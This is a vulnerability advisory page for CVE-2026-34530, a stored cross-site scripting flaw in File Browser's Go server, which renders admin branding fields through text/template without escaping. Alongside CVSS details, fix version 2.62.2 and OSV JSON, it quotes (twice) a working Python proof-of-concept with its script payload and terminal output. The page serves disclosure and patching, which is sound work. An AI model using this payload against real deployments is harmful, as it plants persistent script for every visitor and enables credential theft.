CVE-2026-34530: Github.com/filebrowser/filebrowser/v2 Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-xfqj-3vmx-63wv
CVSS 6.9
CWE-79
Published
Advisory Summary

CVE-2026-34530 is a MODERATE (CVSS 6.9) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser vulnerable to stored cross-site scripting via text/template branding injection. Remediation is available by upgrading affected packages to version 2.62.2.

CVE-2026-34530 at a Glance

CVE Identifier CVE-2026-34530
GHSA Identifier GHSA-xfqj-3vmx-63wv
Severity MODERATE
CVSS v3.1 Base Score 6.9
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Github.com/filebrowser/filebrowser/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-34530

To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/filebrowser/filebrowser/v2 fixed: 2.62.2
Upgrade github.com/filebrowser/filebrowser/v2 to 2.62.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/filebrowser/filebrowser/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34530, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:

inspect dependencies for github.com/filebrowser/filebrowser/v2

Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.62.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets `branding.name` to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users. <br/> ### Details `http/static.go` renders the SPA `index.html` using Go's `text/template` (NOT `html/template`) with custom delimiters `[{[` and `]}]`. Branding fields are inserted directly into HTML without any escaping: ```go // http/static.go, line 16 — imports text/template instead of html/template "text/template" // http/static.go, line 33 — branding.Name passed into template data "Name": d.settings.Branding.Name, // http/static.go, line 97 — template parsed with custom delimiters, no escaping index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents))) ``` The frontend template (`frontend/public/index.html`) embeds these fields directly: ```html <!-- frontend/public/index.html, line 16 --> [{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}] <!-- frontend/public/index.html, line 42 --> content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]" ``` Since `text/template` performs NO HTML escaping (unlike `html/template`), setting `branding.name` to `</title><script>alert(1)</script>` breaks out of the `<title>` tag and injects arbitrary script into every page load. Additionally, when ReCaptcha is enabled, the `ReCaptchaHost` field is used as: ```html <script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script> ``` This allows loading arbitrary JavaScript from an admin-chosen origin. No `Content-Security-Policy` header is set on the SPA entry point, so there is no CSP mitigation. <br/> ### PoC Below is the PoC python script that could be ran on test environment using docker compose: ```yaml services: filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: - "80:80" ``` And running this PoC python script: ```python import argparse import json import sys import requests BANNER = """ Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html """ XSS_MARKER = "XSS_BRANDING_POC_12345" XSS_PAYLOAD = ( '</title><script>window.' + XSS_MARKER + '=1;' 'alert("XSS in File Browser branding")</script><title>' ) def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.status_code != 200: print(f" Login failed: {r.status_code}") sys.exit(1) return r.text.strip('"') def main(): sys.stdout.write(BANNER) sys.stdout.flush() ap = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description="Stored XSS via branding injection PoC", epilog="""examples: %(prog)s -t http://localhost -u admin -p admin %(prog)s -t http://target.com/filebrowser -u admin -p secret how it works: 1. Authenticates as admin to File Browser 2. Sets branding.name to a <script> payload via PUT /api/settings 3. Fetches the SPA index (unauthenticated) to verify the payload renders unescaped in the HTML <title> tag root cause: http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields like Name are inserted directly into HTML: <title>[{[.Name]}]</title> No escaping is applied, so HTML/JS in the name breaks out of the <title> tag and executes as script. impact: Stored XSS affecting ALL visitors (including unauthenticated). An admin (or attacker who compromised admin) can inject persistent JavaScript that steals credentials from every user who visits.""", ) ap.add_argument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost)") ap.add_argument("-u", "--user", required=True, help="Admin username") ap.add_argument("-p", "--password", required=True, help="Admin password") if len(sys.argv) == 1: ap.print_help() sys.exit(1) args = ap.parse_args() base = args.target.rstrip("/") hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"} print() print("[*] ATTACK BEGINS...") print("====================") print(f"\n [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}") print(f"\n [2] Injecting XSS payload into branding.name") r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10) if r.status_code != 200: print(f" Failed: GET /api/settings returned {r.status_code}") print(f" (requires admin privileges)") sys.exit(1) settings = r.json() settings["branding"]["name"] = XSS_PAYLOAD r = requests.put(f"{base}/api/settings", headers=hdrs(token), json=settings, timeout=10) if r.status_code != 200: print(f" Failed: PUT /api/settings returned {r.status_code}") sys.exit(1) print(f" Payload injected") print(f"\n [3] Verifying XSS renders in unauthenticated SPA") r = requests.get(f"{base}/", timeout=10) html = r.text if XSS_MARKER in html: print(f" XSS payload found in HTML response!") for line in html.split("\n"): if XSS_MARKER in line: print(f" >>> {line.strip()[:120]}") csp = r.headers.get("Content-Security-Policy", "") if not csp: print(f" No CSP header — script executes without restriction") confirmed = True else: print(f" Payload NOT found in HTML") confirmed = False print() print("====================") if confirmed: print() print("CONFIRMED: text/template renders branding.name without escaping.") print("The <title> tag is broken and arbitrary <script> executes.") print("Every visitor (authenticated or not) receives the payload.") print() print(f"Open {base}/ in a browser to see the alert() popup.") else: print() print("NOT CONFIRMED in this test run.") print() if __name__ == "__main__": main() ``` And terminal output: ```bash root@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX" Stored XSS via Branding Injection PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: http/static.go uses text/template (not html/template) Branding fields rendered unescaped into SPA index.html [*] ATTACK BEGINS... ==================== [1] Authenticating to http://localhost Logged in as: admin [2] Injecting XSS payload into branding.name Payload injected [3] Verifying XSS renders in unauthenticated SPA XSS payload found in HTML response! >>> </title><script>window.XSS_BRANDING_POC_12345=1;alert("XSS in File Browser branding")</script><title> >>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen No CSP header — script executes without restriction ==================== CONFIRMED: text/template renders branding.name without escaping. The <title> tag is broken and arbitrary <script> executes. Every visitor (authenticated or not) receives the payload. Open http://localhost/ in a browser to see the alert() popup. ``` <br/> ### Impact - Stored XSS affecting ALL visitors including unauthenticated users - Persistent backdoor — the payload survives until branding is manually changed

CVE-2026-34530 Affected Github.com/filebrowser/filebrowser/v2 Versions

1 component(s)
Fixed Versions:
2.62.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/filebrowser/filebrowser/v2
Go
< 2.62.2
2.62.2

References

Frequently Asked Questions

What is CVE-2026-34530?
CVE-2026-34530 is a security vulnerability in Github.com/filebrowser/filebrowser/v2 involving File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
Affected versions include releases prior to 2.62.2 across affected packages: github.com/filebrowser/filebrowser/v2.
What version fixes CVE-2026-34530?
Upgrading to 2.62.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/filebrowser/filebrowser/v2 affected?
Yes, github.com/filebrowser/filebrowser/v2 is affected in releases prior to 2.62.2. Upgrade your dependency to 2.62.2 or later.
What is the CVSS score of CVE-2026-34530?
CVE-2026-34530 has a CVSS v3.1 base score of 6.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-34530?
CVE-2026-34530 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Go dependencies for CVE-2026-34530?
Run the dependency tree command: 'inspect dependencies for github.com/filebrowser/filebrowser/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xfqj-3vmx-63wv",
  "modified" : "2026-04-06T17:13:38Z",
  "published" : "2026-03-31T23:45:56Z",
  "aliases" : [ "CVE-2026-34530" ],
  "summary" : "File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection",
  "details" : "### Summary\nThe SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets `branding.name` to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.\n\n\n<br/>\n\n### Details\n`http/static.go` renders the SPA `index.html` using Go's `text/template` (NOT `html/template`) with custom delimiters `[{[` and `]}]`. Branding fields are inserted directly into HTML without any escaping:\n\n```go\n// http/static.go, line 16 — imports text/template instead of html/template\n\"text/template\"\n\n// http/static.go, line 33 — branding.Name passed into template data\n\"Name\": d.settings.Branding.Name,\n\n// http/static.go, line 97 — template parsed with custom delimiters, no escaping\nindex := template.Must(template.New(\"index\").Delims(\"[{[\", \"]}]\").Parse(string(fileContents)))\n```\n\nThe frontend template (`frontend/public/index.html`) embeds these fields directly:\n```html\n<!-- frontend/public/index.html, line 16 -->\n[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]\n\n<!-- frontend/public/index.html, line 42 -->\ncontent=\"[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]\"\n```\n\nSince `text/template` performs NO HTML escaping (unlike `html/template`), setting `branding.name` to `</title><script>alert(1)</script>` breaks out of the `<title>` tag and injects arbitrary script into every page load.\n\nAdditionally, when ReCaptcha is enabled, the `ReCaptchaHost` field is used as:\n```html\n<script src=\"[{[.ReCaptchaHost]}]/recaptcha/api.js\"></script>\n```\nThis allows loading arbitrary JavaScript from an admin-chosen origin.\n\nNo `Content-Security-Policy` header is set on the SPA entry point, so there is no CSP mitigation.\n\n\n<br/>\n\n### PoC\nBelow is the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n  filebrowser:\n    image: filebrowser/filebrowser:v2.62.1\n    user: 0:0\n    ports:\n      - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport json\nimport sys\nimport requests\n\n\nBANNER = \"\"\"\n  Stored XSS via Branding Injection PoC\n  Affected: filebrowser/filebrowser <=v2.62.1\n  Root cause: http/static.go uses text/template (not html/template)\n  Branding fields rendered unescaped into SPA index.html\n\"\"\"\n\nXSS_MARKER = \"XSS_BRANDING_POC_12345\"\nXSS_PAYLOAD = (\n    '</title><script>window.' + XSS_MARKER + '=1;'\n    'alert(\"XSS in File Browser branding\")</script><title>'\n)\n\n\ndef login(base: str, username: str, password: str) -> str:\n    r = requests.post(f\"{base}/api/login\",\n                      json={\"username\": username, \"password\": password},\n                      timeout=10)\n    if r.status_code != 200:\n        print(f\"      Login failed: {r.status_code}\")\n        sys.exit(1)\n    return r.text.strip('\"')\n\n\ndef main():\n    sys.stdout.write(BANNER)\n    sys.stdout.flush()\n\n    ap = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=\"Stored XSS via branding injection PoC\",\n        epilog=\"\"\"examples:\n  %(prog)s -t http://localhost -u admin -p admin\n  %(prog)s -t http://target.com/filebrowser -u admin -p secret\n\nhow it works:\n  1. Authenticates as admin to File Browser\n  2. Sets branding.name to a <script> payload via PUT /api/settings\n  3. Fetches the SPA index (unauthenticated) to verify the payload\n     renders unescaped in the HTML <title> tag\n\nroot cause:\n  http/static.go renders the SPA index.html using Go's text/template\n  (NOT html/template) with custom delimiters [{[ and ]}].\n  Branding fields like Name are inserted directly into HTML:\n    <title>[{[.Name]}]</title>\n  No escaping is applied, so HTML/JS in the name breaks out of\n  the <title> tag and executes as script.\n\nimpact:\n  Stored XSS affecting ALL visitors (including unauthenticated).\n  An admin (or attacker who compromised admin) can inject persistent\n  JavaScript that steals credentials from every user who visits.\"\"\",\n    )\n\n    ap.add_argument(\"-t\", \"--target\", required=True,\n                    help=\"Base URL of File Browser (e.g. http://localhost)\")\n    ap.add_argument(\"-u\", \"--user\", required=True,\n                    help=\"Admin username\")\n    ap.add_argument(\"-p\", \"--password\", required=True,\n                    help=\"Admin password\")\n    if len(sys.argv) == 1:\n        ap.print_help()\n        sys.exit(1)\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n    hdrs = lambda tok: {\"X-Auth\": tok, \"Content-Type\": \"application/json\"}\n\n    print()\n    print(\"[*] ATTACK BEGINS...\")\n    print(\"====================\")\n\n    print(f\"\\n  [1] Authenticating to {base}\")\n    token = login(base, args.user, args.password)\n    print(f\"      Logged in as: {args.user}\")\n\n    print(f\"\\n  [2] Injecting XSS payload into branding.name\")\n    r = requests.get(f\"{base}/api/settings\", headers=hdrs(token), timeout=10)\n    if r.status_code != 200:\n        print(f\"      Failed: GET /api/settings returned {r.status_code}\")\n        print(f\"      (requires admin privileges)\")\n        sys.exit(1)\n    settings = r.json()\n    settings[\"branding\"][\"name\"] = XSS_PAYLOAD\n    r = requests.put(f\"{base}/api/settings\", headers=hdrs(token),\n                     json=settings, timeout=10)\n    if r.status_code != 200:\n        print(f\"      Failed: PUT /api/settings returned {r.status_code}\")\n        sys.exit(1)\n    print(f\"      Payload injected\")\n\n    print(f\"\\n  [3] Verifying XSS renders in unauthenticated SPA\")\n    r = requests.get(f\"{base}/\", timeout=10)\n    html = r.text\n\n    if XSS_MARKER in html:\n        print(f\"      XSS payload found in HTML response!\")\n        for line in html.split(\"\\n\"):\n            if XSS_MARKER in line:\n                print(f\"      >>> {line.strip()[:120]}\")\n        csp = r.headers.get(\"Content-Security-Policy\", \"\")\n        if not csp:\n            print(f\"      No CSP header — script executes without restriction\")\n        confirmed = True\n    else:\n        print(f\"      Payload NOT found in HTML\")\n        confirmed = False\n\n    print()\n    print(\"====================\")\n\n    if confirmed:\n        print()\n        print(\"CONFIRMED: text/template renders branding.name without escaping.\")\n        print(\"The <title> tag is broken and arbitrary <script> executes.\")\n        print(\"Every visitor (authenticated or not) receives the payload.\")\n        print()\n        print(f\"Open {base}/ in a browser to see the alert() popup.\")\n    else:\n        print()\n        print(\"NOT CONFIRMED in this test run.\")\n    print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p \"jhSR9z9pofv5evlX\"\n\n  Stored XSS via Branding Injection PoC\n  Affected: filebrowser/filebrowser <=v2.62.1\n  Root cause: http/static.go uses text/template (not html/template)\n  Branding fields rendered unescaped into SPA index.html\n\n[*] ATTACK BEGINS...\n====================\n\n  [1] Authenticating to http://localhost\n      Logged in as: admin\n\n  [2] Injecting XSS payload into branding.name\n      Payload injected\n\n  [3] Verifying XSS renders in unauthenticated SPA\n      XSS payload found in HTML response!\n      >>> </title><script>window.XSS_BRANDING_POC_12345=1;alert(\"XSS in File Browser branding\")</script><title>\n      >>> window.FileBrowser = {\"AuthMethod\":\"json\",\"BaseURL\":\"\",\"CSS\":false,\"Color\":\"\",\"DisableExternal\":false,\"DisableUsedPercen\n      No CSP header — script executes without restriction\n\n====================\n\nCONFIRMED: text/template renders branding.name without escaping.\nThe <title> tag is broken and arbitrary <script> executes.\nEvery visitor (authenticated or not) receives the payload.\n\nOpen http://localhost/ in a browser to see the alert() popup.\n\n```\n\n\n<br/>\n\n### Impact\n- Stored XSS affecting ALL visitors including unauthenticated users\n- Persistent backdoor — the payload survives until branding is manually changed",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.62.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.62.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-xfqj-3vmx-63wv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34530"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T23:45:56Z",
    "nvd_published_at" : "2026-04-01T21:17:00Z"
  }
}